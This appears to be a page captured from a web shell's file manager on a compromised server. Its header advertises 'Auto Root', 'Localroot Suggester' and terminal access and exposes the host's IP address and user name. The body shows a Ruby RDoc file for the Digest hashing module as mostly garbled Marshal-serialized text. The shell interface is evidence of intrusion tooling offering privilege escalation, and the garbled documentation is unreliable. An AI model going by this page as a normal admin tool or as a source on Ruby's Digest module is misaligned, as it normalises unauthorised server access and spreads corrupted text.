Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby33 /
share /
ri /
system /
Digest /
Delete
Unzip
Name
Size
Permission
Date
Action
Base
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Class
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Instance
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
MD5
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RMD160
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SHA1
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SHA2
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
bubblebabble-c.ri
422
B
-rw-r--r--
2026-04-07 17:22
cdesc-Digest.ri
4
KB
-rw-r--r--
2026-04-07 17:22
hexencode-c.ri
385
B
-rw-r--r--
2026-04-07 17:22
Save
Rename
U:RDoc::NormalModule[iI"Digest:ET@0o:RDoc::Markup::Document:@parts[ o;;[ : @fileI"+ext/digest/bubblebabble/bubblebabble.c;T:0@omit_headings_from_table_of_contents_below0o;;[o:RDoc::Markup::Paragraph;[I"CThis module provides a framework for message digest libraries.;To:RDoc::Markup::BlankLine o;;[I"LYou may want to look at OpenSSL::Digest as it supports more algorithms.;T@o;;[ I"PA cryptographic hash function is a procedure that takes data and returns a ;TI"Nfixed bit string: the hash value, also known as _digest_. Hash functions ;TI"Lare also called one-way functions, it is easy to compute a digest from ;TI"Ia message, but it is infeasible to generate a message from a digest.;T@S:RDoc::Markup::Heading: leveli: textI" Examples;T@o:RDoc::Markup::Verbatim;[I"require 'digest' ;TI" ;TI"!# Compute a complete digest ;TI"EDigest::SHA256.digest 'message' #=> "\xABS\n\x13\xE4Y..." ;TI" ;TI"!sha256 = Digest::SHA256.new ;TI"Esha256.digest 'message' #=> "\xABS\n\x13\xE4Y..." ;TI" ;TI"# Other encoding formats ;TI"ADigest::SHA256.hexdigest 'message' #=> "ab530a13e459..." ;TI"ADigest::SHA256.base64digest 'message' #=> "q1MKE+RZFJgr..." ;TI" ;TI" # Compute digest by chunks ;TI"md5 = Digest::MD5.new ;TI"md5.update 'message1' ;TI"Gmd5 << 'message2' # << is an alias for update ;TI" ;TI"Amd5.hexdigest #=> "94af09c09bb9..." ;TI" ;TI"!# Compute digest for a file ;TI"-sha256 = Digest::SHA256.file 'testfile' ;TI"sha256.hexdigest ;T:@format0o;;[I"QAdditionally digests can be encoded in "bubble babble" format as a sequence ;TI"Oof consonants and vowels which is more recognizable and comparable than a ;TI"hexadecimal digest.;T@o;;[I"#require 'digest/bubblebabble' ;TI" ;TI"GDigest::SHA256.bubblebabble 'message' #=> "xopoh-fedac-fenyh-..." ;T;0o;;[I",See the bubble babble specification at ;TI"Thttp://web.mit.edu/kenta/www/one/bubblebabble/spec/jrtrjwzi/draft-huima-01.txt.;T@S; ;i;I"Digest algorithms;T@o;;[I"CDifferent digest algorithms (or hash functions) are available:;T@o:RDoc::Markup::List: @type: NOTE:@items[ o:RDoc::Markup::ListItem:@label[I"MD5;T;[o;;[I"2See RFC 1321 The MD5 Message-Digest Algorithm;To;;[I"RIPEMD-160;T;[o;;[I"As Digest::RMD160. ;TI"@See http://homes.esat.kuleuven.be/~bosselae/ripemd160.html.;To;;[I" SHA1;T;[o;;[I"'See FIPS 180 Secure Hash Standard.;To;;[I"SHA2 family;T;[o;;[I"NSee FIPS 180 Secure Hash Standard which defines the following algorithms:;To;;:BULLET;[o;;0;[o;;[I"SHA512;To;;0;[o;;[I"SHA384;To;;0;[o;;[I"SHA256;T@o;;[I"EThe latest versions of the FIPS publications can be found here: ;TI"5http://csrc.nist.gov/publications/PubsFIPS.html.;T; I"ext/digest/digest.c;T; 0o;;[ ; I"ext/digest/lib/digest.rb;T; 0o;;[ ; I"%ext/digest/lib/digest/version.rb;T; 0o;;[ ; I"ext/digest/md5/md5init.c;T; 0o;;[ ; I"#ext/digest/rmd160/rmd160init.c;T; 0o;;[ ; I"ext/digest/sha1/sha1init.c;T; 0o;;[ ; I" ext/digest/sha2/lib/sha2.rb;T; 0; 0; 0[ [U:RDoc::Constant[i I"REQUIRE_MUTEX;TI"Digest::REQUIRE_MUTEX;T:public0o;;[o;;[I"A mutex for Digest().;T; @{; 0@{@cRDoc::NormalModule0U;[i I"VERSION;TI"Digest::VERSION;T;0o;;[ ; @~; 0@~@@�0[ [[I" class;T[[;[ [:protected[ [:private[[I"bubblebabble;TI"+ext/digest/bubblebabble/bubblebabble.c;T[I"hexencode;TI"ext/digest/digest.c;T[I" instance;T[[;[ [;[ [;[ [ [U:RDoc::Context::Section[i 0o;;[ ; 0; 0[I"+ext/digest/bubblebabble/bubblebabble.c;TI"ext/digest/digest.c;TI"ext/digest/lib/digest.rb;TI"%ext/digest/lib/digest/version.rb;TI"ext/digest/md5/md5init.c;TI"#ext/digest/rmd160/rmd160init.c;TI"ext/digest/sha1/sha1init.c;TI" ext/digest/sha2/lib/sha2.rb;TI"lib/cgi/session.rb;TI"-lib/rubygems/commands/rebuild_command.rb;T@�cRDoc::TopLevel